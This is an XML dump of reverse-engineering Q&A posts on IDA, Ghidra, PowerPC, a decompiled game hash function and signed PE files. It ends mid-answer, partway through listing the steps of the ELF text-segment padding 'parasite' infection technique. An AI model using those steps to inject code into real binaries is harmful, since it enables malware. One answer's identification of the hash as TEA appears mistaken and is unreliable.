  <row Id="21931" PostTypeId="1" AcceptedAnswerId="21938" CreationDate="2019-08-19T18:12:20.267" Score="1" ViewCount="191" Body="&lt;p&gt;I've made a custom loader and processor. As I use segment to separate something, now I want my name automatically shows in the following form&lt;br&gt;&#xA;&lt;code&gt;9     dseg_1234      the same as 2, but without data type specifier&lt;/code&gt;,&lt;br&gt;&#xA;which is described in &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/609.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/609.shtml&lt;/a&gt;&lt;br&gt;&#xA;The Java processor and loader can change the name representation to number 9 without any additional settings. However I failed to find any code relating to changing the name representation :(&lt;br&gt;&#xA;So how does the Java processor change this option?&lt;/p&gt;&#xA;" OwnerUserId="16169" LastActivityDate="2019-08-20T16:11:09.637" Title="How to change IDA's name representation programmatically?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21932" PostTypeId="2" ParentId="21919" CreationDate="2019-08-19T18:28:24.060" Score="2" Body="&lt;p&gt;Use the menu: File -&gt; Load file -&gt; Additional binary file, and then simply enter the segment address you want.&lt;br&gt;&#xA;The reason you fail on this operation is because you are misunderstanding the &quot;segment&quot; in IDA.&lt;br&gt;&#xA;In IDA the segment is defined by (selector, base) and offset. The final address is calculated by&lt;br&gt;&#xA;&lt;code&gt;(base &amp;lt;&amp;lt; 4) + offset&lt;/code&gt;.&lt;br&gt;&#xA;In fact, IDA is telling you to input &quot;in paragraph&quot;, which is 0x10 each paragraph on IBM PC.&lt;br&gt;&#xA;But as x86 is using &quot;flat memory model&quot; now, what you should use is something like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jzxDC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzxDC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Your original operation will create a segment which has an EA of 0x1431A20000 (note the last zero), and what you will see in the IDA view will be segXXX:XXXXX instead of the &quot;flat&quot; segments like .text&lt;/p&gt;&#xA;" OwnerUserId="16169" LastEditorUserId="16169" LastEditDate="2019-08-21T17:31:52.203" LastActivityDate="2019-08-21T17:31:52.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21933" PostTypeId="1" CreationDate="2019-08-19T20:27:01.893" Score="-1" ViewCount="187" Body="&lt;p&gt;I recently found a function using IDA within a game that creates a CRC from a string. I don't understand much of the code or how the game takes in the string as data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__int64 __fastcall ITF::StrToCRC_Template&amp;lt;1u&amp;gt;(unsigned __int8 *a1, unsigned int a2)&#xA;{&#xA;  unsigned int v2; // w8&#xA;  int v3; // w10&#xA;  unsigned int v4; // w11&#xA;  int v5; // w9&#xA;  int v6; // w12&#xA;  int v7; // w13&#xA;  int v8; // w14&#xA;  unsigned int v9; // w12&#xA;  int v10; // w13&#xA;  int v11; // w15&#xA;  unsigned int v12; // w12&#xA;  int v13; // w14&#xA;  int v14; // w12&#xA;  int v15; // w13&#xA;  int v16; // w9&#xA;  int v17; // w12&#xA;  int v18; // w15&#xA;  unsigned int v19; // w14&#xA;  int v20; // w15&#xA;  unsigned int v21; // w14&#xA;  int v22; // w13&#xA;  int v23; // w14&#xA;  int v24; // w15&#xA;  int v25; // w8&#xA;  int v26; // w9&#xA;  unsigned int v27; // w12&#xA;  unsigned __int8 v28; // w13&#xA;  int v29; // w15&#xA;  unsigned int v30; // w12&#xA;  unsigned __int8 v31; // w13&#xA;  unsigned int v32; // w10&#xA;  int v33; // w9&#xA;  unsigned int v34; // w8&#xA;  unsigned int v35; // w10&#xA;  int v36; // w9&#xA;  unsigned int v37; // w8&#xA;  unsigned int v38; // w10&#xA;  unsigned int v39; // w10&#xA;  int v40; // w11&#xA;  int v41; // w11&#xA;  int v42; // w11&#xA;  int v43; // w11&#xA;  int v44; // w11&#xA;  int v45; // w11&#xA;  int v46; // w11&#xA;  int v47; // w11&#xA;  int v48; // w11&#xA;  int v49; // w11&#xA;  int v50; // w11&#xA;  int v51; // w9&#xA;  unsigned int v52; // w8&#xA;  unsigned int v53; // w10&#xA;  int v54; // w9&#xA;  unsigned int v55; // w8&#xA;  unsigned int v56; // w10&#xA;  int v57; // w9&#xA;&#xA;  v2 = -1640531527;&#xA;  v3 = 0;&#xA;  v4 = a2;&#xA;  v5 = -1640531527;&#xA;  if ( a2 &amp;gt;= 0xC )&#xA;  {&#xA;    do&#xA;    {&#xA;      v6 = *a1;&#xA;      v7 = a1[1];&#xA;      if ( (unsigned int)(v6 - 97) &amp;lt;= 0x19 )&#xA;        v6 += 224;&#xA;      v8 = a1[2];&#xA;      if ( (unsigned int)(v7 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v7) = v7 - 32;&#xA;      v9 = v6 &amp;amp; 0xFFFF00FF | ((unsigned __int8)v7 &amp;lt;&amp;lt; 8);&#xA;      v10 = a1[3];&#xA;      if ( (unsigned int)(v8 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v8) = v8 - 32;&#xA;      if ( (unsigned int)(v10 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v10) = v10 - 32;&#xA;      v11 = a1[4];&#xA;      v12 = v9 &amp;amp; 0xFF00FFFF | ((unsigned __int8)v8 &amp;lt;&amp;lt; 16);&#xA;      v13 = v11 + 224;&#xA;      v14 = v12 &amp;amp; 0xFFFFFF | ((unsigned __int8)v10 &amp;lt;&amp;lt; 24);&#xA;      v15 = a1[6];&#xA;      v16 = v14 + v5;&#xA;      v17 = a1[8];&#xA;      if ( (unsigned int)(v11 - 97) &amp;gt; 0x19 )&#xA;        v13 = a1[4];&#xA;      v18 = a1[5];&#xA;      if ( (unsigned int)(v18 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v18) = v18 - 32;&#xA;      v19 = v13 &amp;amp; 0xFFFF00FF | ((unsigned __int8)v18 &amp;lt;&amp;lt; 8);&#xA;      if ( (unsigned int)(v15 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v15) = v15 - 32;&#xA;      v20 = a1[7];&#xA;      v21 = v19 &amp;amp; 0xFF00FFFF | ((unsigned __int8)v15 &amp;lt;&amp;lt; 16);&#xA;      if ( (unsigned int)(v20 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v20) = v20 - 32;&#xA;      if ( (unsigned int)(v17 - 97) &amp;lt;= 0x19 )&#xA;        v17 += 224;&#xA;      v22 = a1[9];&#xA;      v23 = v21 &amp;amp; 0xFFFFFF | ((unsigned __int8)v20 &amp;lt;&amp;lt; 24);&#xA;      v24 = a1[10];&#xA;      v25 = v23 + v2;&#xA;      v26 = v16 - v25;&#xA;      if ( (unsigned int)(v22 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v22) = v22 - 32;&#xA;      v27 = v17 &amp;amp; 0xFFFF00FF | ((unsigned __int8)v22 &amp;lt;&amp;lt; 8);&#xA;      v28 = v24 - 32;&#xA;      if ( (unsigned int)(v24 - 97) &amp;gt; 0x19 )&#xA;        v28 = a1[10];&#xA;      v29 = a1[11];&#xA;      a1 += 12;&#xA;      v30 = v27 &amp;amp; 0xFF00FFFF | (v28 &amp;lt;&amp;lt; 16);&#xA;      if ( (unsigned int)(v29 - 97) &amp;lt;= 0x19 )&#xA;        v31 = v29 - 32;&#xA;      else&#xA;        v31 = v29;&#xA;      v32 = (v30 &amp;amp; 0xFFFFFF | (v31 &amp;lt;&amp;lt; 24)) + v3;&#xA;      v33 = (v26 - v32) ^ (v32 &amp;gt;&amp;gt; 13);&#xA;      v34 = (v25 - v32 - v33) ^ (v33 &amp;lt;&amp;lt; 8);&#xA;      v35 = (v32 - v33 - v34) ^ (v34 &amp;gt;&amp;gt; 13);&#xA;      v36 = (v33 - v34 - v35) ^ (v35 &amp;gt;&amp;gt; 12);&#xA;      v37 = (v34 - v35 - v36) ^ (v36 &amp;lt;&amp;lt; 16);&#xA;      v38 = (v35 - v36 - v37) ^ (v37 &amp;gt;&amp;gt; 5);&#xA;      v5 = (v36 - v37 - v38) ^ (v38 &amp;gt;&amp;gt; 3);&#xA;      v2 = (v37 - v38 - v5) ^ (v5 &amp;lt;&amp;lt; 10);&#xA;      v3 = (v38 - v5 - v2) ^ (v2 &amp;gt;&amp;gt; 15);&#xA;      v4 -= 12;&#xA;    }&#xA;    while ( v4 &amp;gt; 0xB );&#xA;  }&#xA;  v39 = v3 + a2;&#xA;  switch ( v4 )&#xA;  {&#xA;    case 1u:&#xA;      goto LABEL_59;&#xA;    case 2u:&#xA;      goto LABEL_56;&#xA;    case 3u:&#xA;      goto LABEL_53;&#xA;    case 4u:&#xA;      goto LABEL_50;&#xA;    case 5u:&#xA;      goto LABEL_47;&#xA;    case 6u:&#xA;      goto LABEL_44;&#xA;    case 7u:&#xA;      goto LABEL_41;&#xA;    case 8u:&#xA;      goto LABEL_38;&#xA;    case 9u:&#xA;      goto LABEL_35;&#xA;    case 0xAu:&#xA;      goto LABEL_32;&#xA;    case 0xBu:&#xA;      v40 = a1[10];&#xA;      if ( (unsigned int)(v40 - 97) &amp;lt;= 0x19 )&#xA;        v40 += 224;&#xA;      v39 += v40 &amp;lt;&amp;lt; 24;&#xA;LABEL_32:&#xA;      v41 = a1[9];&#xA;      if ( (unsigned int)(v41 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v41) = v41 - 32;&#xA;      v39 += (unsigned __int8)v41 &amp;lt;&amp;lt; 16;&#xA;LABEL_35:&#xA;      v42 = a1[8];&#xA;      if ( (unsigned int)(v42 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v42) = v42 - 32;&#xA;      v39 += (unsigned __int8)v42 &amp;lt;&amp;lt; 8;&#xA;LABEL_38:&#xA;      v43 = a1[7];&#xA;      if ( (unsigned int)(v43 - 97) &amp;lt;= 0x19 )&#xA;        v43 += 224;&#xA;      v2 += v43 &amp;lt;&amp;lt; 24;&#xA;LABEL_41:&#xA;      v44 = a1[6];&#xA;      if ( (unsigned int)(v44 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v44) = v44 - 32;&#xA;      v2 += (unsigned __int8)v44 &amp;lt;&amp;lt; 16;&#xA;LABEL_44:&#xA;      v45 = a1[5];&#xA;      if ( (unsigned int)(v45 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v45) = v45 - 32;&#xA;      v2 += (unsigned __int8)v45 &amp;lt;&amp;lt; 8;&#xA;LABEL_47:&#xA;      v46 = a1[4];&#xA;      if ( (unsigned int)(v46 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v46) = v46 - 32;&#xA;      v2 += (unsigned __int8)v46;&#xA;LABEL_50:&#xA;      v47 = a1[3];&#xA;      if ( (unsigned int)(v47 - 97) &amp;lt;= 0x19 )&#xA;        v47 += 224;&#xA;      v5 += v47 &amp;lt;&amp;lt; 24;&#xA;LABEL_53:&#xA;      v48 = a1[2];&#xA;      if ( (unsigned int)(v48 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v48) = v48 - 32;&#xA;      v5 += (unsigned __int8)v48 &amp;lt;&amp;lt; 16;&#xA;LABEL_56:&#xA;      v49 = a1[1];&#xA;      if ( (unsigned int)(v49 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v49) = v49 - 32;&#xA;      v5 += (unsigned __int8)v49 &amp;lt;&amp;lt; 8;&#xA;LABEL_59:&#xA;      v50 = *a1;&#xA;      if ( (unsigned int)(v50 - 97) &amp;lt;= 0x19 )&#xA;        LOBYTE(v50) = v50 - 32;&#xA;      v5 += (unsigned __int8)v50;&#xA;      break;&#xA;    default:&#xA;      break;&#xA;  }&#xA;  v51 = (v5 - v2 - v39) ^ (v39 &amp;gt;&amp;gt; 13);&#xA;  v52 = (v2 - v39 - v51) ^ (v51 &amp;lt;&amp;lt; 8);&#xA;  v53 = (v39 - v51 - v52) ^ (v52 &amp;gt;&amp;gt; 13);&#xA;  v54 = (v51 - v52 - v53) ^ (v53 &amp;gt;&amp;gt; 12);&#xA;  v55 = (v52 - v53 - v54) ^ (v54 &amp;lt;&amp;lt; 16);&#xA;  v56 = (v53 - v54 - v55) ^ (v55 &amp;gt;&amp;gt; 5);&#xA;  v57 = (v54 - v55 - v56) ^ (v56 &amp;gt;&amp;gt; 3);&#xA;  return (v56 - v57 - ((v55 - v56 - v57) ^ (v57 &amp;lt;&amp;lt; 10))) ^ (((v55 - v56 - v57) ^ (v57 &amp;lt;&amp;lt; 10)) &amp;gt;&amp;gt; 15);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code, I am trying to convert this to a Python function so I can integrate it into a program I am making. Could anyone help me start converting this? Or make the code more understandable?&lt;/p&gt;&#xA;" OwnerUserId="29362" LastEditorUserId="245" LastEditDate="2019-08-20T08:54:26.060" LastActivityDate="2019-08-20T08:54:26.060" Title="Understanding (pseudo-)C function from a video game" Tags="|c|hexrays|" AnswerCount="1" CommentCount="1" ClosedDate="2019-08-24T21:15:10.707" ContentLicense="CC BY-SA 4.0" />
  <row Id="21934" PostTypeId="2" ParentId="21933" CreationDate="2019-08-19T22:10:51.270" Score="2" Body="&lt;p&gt;v2 = -1640531527; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:&gt;python -c &quot;print hex(0x100000000-1640531527)&quot;&#xA;0x9e3779b9L  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;google  0x9e3779b9L &lt;/p&gt;&#xA;&#xA;&lt;p&gt;first hit &lt;a href=&quot;https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;TEA algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;google python tea&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first hit &lt;a href=&quot;https://pypi.org/project/PyTEA/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pytea&lt;/a&gt; quoting from the site below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pytea import TEA&#xA;key = os.urandom(16)&#xA;print('key is', key)&#xA;content = 'Hello, 你好'&#xA;tea = TEA(key)&#xA;e = tea.encrypt(content.encode())&#xA;print('encrypt hex:', e.hex())&#xA;d = tea.decrypt(e)&#xA;print('decrypt:', d.decode())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i would suggest check pytea output with the functions output before moving further to understand if the algo is modified or used differently&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-08-19T22:10:51.270" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21935" PostTypeId="1" AcceptedAnswerId="21936" CreationDate="2019-08-20T05:20:32.453" Score="2" ViewCount="500" Body="&lt;p&gt;I am trying to recreate a binary file from an analysis of &quot;strings&quot; output. I don't recognize which compiler was used for this file. It does not seem to be shc. Does anyone recognize this output pattern from a known compiler?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strings *omitted*&#xA;/lib/ld-linux.so.2&#xA;libc.so.6&#xA;_IO_stdin_used&#xA;puts&#xA;setreuid&#xA;printf&#xA;getchar&#xA;system&#xA;geteuid&#xA;strcmp&#xA;__libc_start_main&#xA;__gmon_start__&#xA;GLIBC_2.0&#xA;PTRhp&#xA;QVh;&#xA;secrf&#xA;love&#xA;UWVS&#xA;t$,U&#xA;[^_]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can include the rest of the output.&#xA;Edit: the scripting language is likely dash&lt;/p&gt;&#xA;" OwnerUserId="29366" LastActivityDate="2019-08-20T06:32:43.637" Title="Identifying Compiler Used for Binary File" Tags="|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21936" PostTypeId="2" ParentId="21935" CreationDate="2019-08-20T06:26:52.270" Score="4" Body="&lt;p&gt;Looks like strings from the first few sections of a Linux ELF32 binary created using the GCC toolchain. I can't tell you which version of GCC though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question should include the output of the following commands:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;file [name of binary]&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;readelf -h [name of binary]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;readelf -SW [name of binary]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;objdump -dj .text [name of binary]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;strings&lt;/code&gt; output on its own is often insufficient for performing &lt;em&gt;compiler toolchain provenance&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also should include the full output of &lt;code&gt;strings&lt;/code&gt;, because sometimes the compiler includes an identifier within the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/lib/ld-linux.so.2&#xA;libc.so.6&#xA;_IO_stdin_used&#xA;printf&#xA;__libc_start_main&#xA;__gmon_start__&#xA;GLIBC_2.0&#xA;PTRh&#xA;[^_]&#xA;;*2$&quot;&#xA;GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4    &amp;lt;------------------- &#xA;GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4&#xA;.symtab&#xA;.strtab&#xA;.shstrtab&#xA;.interp&#xA;.note.ABI-tag&#xA;.note.gnu.build-id&#xA;.gnu.hash&#xA;.dynsym&#xA;.dynstr&#xA;.gnu.version&#xA;.gnu.version_r&#xA;.rel.dyn&#xA;.rel.plt&#xA;.init&#xA;.text&#xA;.fini&#xA;.rodata&#xA;.eh_frame_hdr&#xA;.eh_frame&#xA;.init_array&#xA;.fini_array&#xA;.jcr&#xA;.dynamic&#xA;.got&#xA;.got.plt&#xA;.data&#xA;.bss&#xA;.comment&#xA;crtstuff.c&#xA;__JCR_LIST__&#xA;deregister_tm_clones&#xA;register_tm_clones&#xA;__do_global_dtors_aux&#xA;completed.6600&#xA;__do_global_dtors_aux_fini_array_entry&#xA;frame_dummy&#xA;__frame_dummy_init_array_entry&#xA;trigger_sigsegv.c&#xA;__FRAME_END__&#xA;__JCR_END__&#xA;__init_array_end&#xA;_DYNAMIC&#xA;__init_array_start&#xA;_GLOBAL_OFFSET_TABLE_&#xA;__libc_csu_fini&#xA;_ITM_deregisterTMCloneTable&#xA;__x86.get_pc_thunk.bx&#xA;data_start&#xA;printf@@GLIBC_2.0&#xA;_edata&#xA;_fini&#xA;__data_start&#xA;__gmon_start__&#xA;__dso_handle&#xA;_IO_stdin_used&#xA;__libc_start_main@@GLIBC_2.0&#xA;__libc_csu_init&#xA;_end&#xA;_start&#xA;_fp_hw&#xA;__bss_start&#xA;main&#xA;_Jv_RegisterClasses&#xA;__TMC_END__&#xA;_ITM_registerTMCloneTable&#xA;_init&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-08-20T06:32:43.637" LastActivityDate="2019-08-20T06:32:43.637" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21937" PostTypeId="1" CreationDate="2019-08-20T07:40:02.450" Score="1" ViewCount="457" Body="&lt;p&gt;I want to search for a string written in Georgian from within x64dbg. It shows me spaces except them.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S I found this &lt;a href=&quot;https://github.com/x64dbg/strmatch&quot; rel=&quot;nofollow noreferrer&quot;&gt;github repository&lt;/a&gt; but, I don't know how to install the plugin in the debugger... it seems to be a different kind of plugin.. please help, I need it like air.. thanks!&lt;/p&gt;&#xA;" OwnerUserId="29367" LastEditorUserId="245" LastEditDate="2019-08-20T13:30:16.080" LastActivityDate="2019-08-20T13:30:16.080" Title="UTF8, UTF16 encoding string search" Tags="|debuggers|x64dbg|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21938" PostTypeId="2" ParentId="21931" CreationDate="2019-08-20T16:11:09.637" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;https://hex-rays.com/products/ida/support/idadoc/285.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;set_inf_attr&lt;/code&gt;&lt;/a&gt; with the &lt;code&gt;INF_NAMETYPE&lt;/code&gt; index&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-20T16:11:09.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21940" PostTypeId="1" CreationDate="2019-08-20T20:02:20.160" Score="2" ViewCount="883" Body="&lt;p&gt;I have a binary dump from a 76F0219F1 NEC processor. I tried to open it in Ghidra, but I don't see any NEC in the list of supported processors.&#xA;Does Ghidra support NEC processors? Is there anything I can do to open the NEC binary dump in Ghidra?&lt;/p&gt;&#xA;" OwnerUserId="29102" LastActivityDate="2019-09-06T12:15:22.427" Title="Open a NEC binary in Ghidra" Tags="|disassembly|firmware|ghidra|firmware-analysis|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21943" PostTypeId="1" AcceptedAnswerId="21951" CreationDate="2019-08-21T07:41:02.230" Score="4" ViewCount="841" Body="&lt;p&gt;Is there any option to set new icon for a signed PE executable in windows without re-signing it again. This means that the icon image, although fully assimilated to the PE file, won't change the hash value as it's appears in the file signature part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;perhaps there's a concept where one can sign only the specific sections in the files such as &lt;code&gt;.text&lt;/code&gt; or &lt;code&gt;.data&lt;/code&gt; and avoid other parts of the file ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks &lt;/p&gt;&#xA;" OwnerUserId="19879" LastActivityDate="2019-08-21T21:09:46.847" Title="change PE file icon without re-signing the file all over again" Tags="|windows|pe|executable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21944" PostTypeId="1" AcceptedAnswerId="21962" CreationDate="2019-08-21T09:28:31.900" Score="4" ViewCount="1638" Body="&lt;p&gt;I'm trying to understand the concepts of the &lt;code&gt;TOC&lt;/code&gt; and &lt;code&gt;SDA&lt;/code&gt; in &lt;code&gt;PowerPC&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, they are basically pointers to tables of global values, when &lt;code&gt;TOC&lt;/code&gt; is stored in &lt;code&gt;r2&lt;/code&gt;, and &lt;code&gt;SDA&lt;/code&gt; in &lt;code&gt;r13&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what are the difference between them? I compiled a simple ppc project, and I see that only &lt;code&gt;r2&lt;/code&gt; is used, but &lt;code&gt;r13&lt;/code&gt; isn't. Is it something that supposed to be said explicitly to use &lt;code&gt;SDA&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, I see that all my global strings aren't actually accessed through &lt;code&gt;r2&lt;/code&gt; at all. It looks like the only use of &lt;code&gt;r2&lt;/code&gt; in my code is just to access stack variables. Does it make sense?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, Where are they supposed to be initialized? I didn't find in my code any place that &lt;code&gt;r2&lt;/code&gt; is initialized, only used.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-08-22T19:03:01.100" Title="PowerPC TOC and SDA" Tags="|disassembly|register|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21945" PostTypeId="1" CreationDate="2019-08-21T11:52:24.387" Score="2" ViewCount="115" Body="&lt;p&gt;As the title says, I want to know if there is a keyboard shortcut that upon pressing will allow me to write in the Immunity command line?&lt;/p&gt;&#xA;" OwnerUserId="29381" LastEditorUserId="29381" LastEditDate="2019-08-21T12:16:07.123" LastActivityDate="2019-08-21T12:16:07.123" Title="Move focus to Immunity Debugger command line" Tags="|immunity-debugger|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21946" PostTypeId="2" ParentId="21940" CreationDate="2019-08-21T12:56:43.403" Score="1" Body="&lt;p&gt;No, unfortunately not. Look at &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/wiki/Frequently-asked-questions#what-processors-are-currently-supported&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; question, among the frequently asked questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;X86 16/32/64, ARM/AARCH64, PowerPC 32/64/VLE, MIPS 16/32/64/micro,&#xA;  68xxx, Java / DEX bytecode, PA-RISC, PIC 12/16/17/18/24, Sparc 32/64,&#xA;  CR16C, Z80, 6502, 8051, MSP430, AVR8, AVR32 and the variants of these&#xA;  processors&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;are currently supported.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2019-08-21T12:56:43.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21947" PostTypeId="1" CreationDate="2019-08-21T13:09:14.140" Score="0" ViewCount="308" Body="&lt;p&gt;The file generates random unique ID. It says hardware ID but I couldn't find it in product key, BIOS serial number or anywhere. I used IDA but I couldn't get from where the file creates the code. Even a little help would be a great deal for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to install, it's 3 mb portable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://drive.google.com/open?id=1JqkRXUvAha13WpfFaeGMHig_GnAZHJab&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1JqkRXUvAha13WpfFaeGMHig_GnAZHJab&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29308" LastEditorUserId="182" LastEditDate="2023-08-31T06:19:28.867" LastActivityDate="2023-08-31T06:19:28.867" Title="The executable file makes a unique ID from each individual PC. Can anyone decipher from where the file makes these unique IDs?" Tags="|ida|disassembly|windows|unpacking|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21948" PostTypeId="2" ParentId="21910" CreationDate="2019-08-21T14:00:42.777" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like to extend the .text section and insert [code]. If there's a better method of inserting new functionality into an ELF I'm all ears. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Techniques for adding arbitrary code to ELF files were pioneered by Linux virus writers beginning all the way back in the 1990s. In comparison with the methods they developed, as well as with more modern techniques, taking the &lt;code&gt;objcopy&lt;/code&gt; route seems rather crude. There is no need to re-invent the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More modern approaches to manipulating ELF binary runtime behavior have emerged since then, including a variety of injection techniques and instrumentation frameworks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the purposes of this question we can divide approaches to modifying binary functionality into 2 approaches: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;adding code to the file itself (static modification, occurs prior to program runtime)&lt;/li&gt;&#xA;&lt;li&gt;inducing new behavior via injection (runtime modification).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Static Modification Techniques&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Text Segment Padding Infection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The classic ELF &lt;code&gt;text&lt;/code&gt; &lt;em&gt;segment&lt;/em&gt; (not section) padding infection method seems to be the most closely related to what you are currently attempting.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Page padding at segment borders however provides a practical location for&#xA;  parasite code given that its size is able.  This space will not interfere with&#xA;  the original segments, requiring no relocation.  Following the guideline just&#xA;  given of preferencing the text segment, we can see that the padding at the&#xA;  end of the text segment is a viable solution. &lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The algorithm to accomplish this is as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Increase &lt;code&gt;p_shoff&lt;/code&gt; by &lt;code&gt;PAGE_SIZE&lt;/code&gt; in the ELF header&lt;/li&gt;&#xA;  &lt;li&gt;Patch the insertion code (parasite) to jump to the entry point&#xA;    (original)&lt;/li&gt;&#xA;  &lt;li&gt;Locate the text segment program header&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Modify the entry point of the ELF header to point to the new&#xA;    code (&lt;code&gt;p_vaddr&lt;/code&gt; + &lt;code&gt;p_filesz&lt;/code&gt;)&lt;/li&gt;&#xA;  &lt;li&gt;Increase &lt;code&gt;p_filesz&lt;/code&gt; by account for the new code (parasite)&lt;/li&gt;&#xA;  &lt;li&gt;Increase &lt;code&gt;p_memsz&lt;/code&gt; to account for the new code (parasite)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;For each &lt;code&gt;phdr&lt;/code&gt; who's segment is after the insertion (text segment)&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;increase &lt;code&gt;p_offset&lt;/code&gt; by &lt;code&gt;PAGE_SIZE&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  